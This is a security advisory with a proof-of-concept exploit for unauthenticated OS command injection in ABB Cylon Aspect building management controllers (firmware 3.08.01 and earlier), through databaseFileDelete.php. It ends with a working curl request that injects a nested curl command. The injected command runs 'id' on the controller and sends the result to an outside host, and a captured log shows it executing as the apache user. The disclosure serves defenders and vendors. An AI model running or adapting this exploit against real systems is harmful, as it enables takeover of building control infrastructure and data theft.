ABB Cylon Aspect 3.08.01 (databaseFileDelete.php) Remote Code Execution Vendor: ABB Ltd. Product web page: https://www.global.abb Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio Firmware: <=3.08.01 Summary: ASPECT is an award-winning scalable building energy management and control solution designed to allow users seamless access to their building data through standard building protocols including smart devices. Desc: The ABB BMS/BAS controller suffers from an unauthenticated OS command injection vulnerability. This can be exploited to inject and execute arbitrary shell commands through the 'file' HTTP POST parameter called by the databaseFileDelete.php script. Tested on: GNU/Linux 3.15.10 (armv7l) GNU/Linux 3.10.0 (x86_64) GNU/Linux 2.6.32 (x86_64) Intel(R) Atom(TM) Processor E3930 @ 1.30GHz Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz PHP/7.3.11 PHP/5.6.30 PHP/5.4.16 PHP/4.4.8 PHP/5.3.3 AspectFT Automation Application Server lighttpd/1.4.32 lighttpd/1.4.18 Apache/2.2.15 (CentOS) OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64) OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode) Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2024-5845 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5845.php 21.04.2024 -- $ cat project P R O J E C T .| | | |'| ._____ ___ | | |. |' .---"| _ .-' '-. | | .--'| || | _| | .-'| _.| | || '-__ | | | || | |' | |. | || | | | | || | ____| '-' ' "" '-' '-.' '` |____ ░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░ ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░ $ curl -X POST "http://192.168.73.31/databaseFileDelete.php" \ > -d "file2=$(curl -A \"`id`\" remotelog.zeroscience.mk)\ > &delete2=1\ > &total=3\ > &submitDeleteForm=Delete" ; ./incom -l httplog & <META HTTP-EQUIV='Refresh' content='0;URL=databaseFile.php'> [1] + 38937 done incom $ cat httplog ------ remotelog ------ GET / HTTP/1.1 User-Agent: uid=48(apache) gid=48(apache) groups=48(apache),0(root) Host: remotelog.zeroscience.mk Accept: */* ------ remotelog ------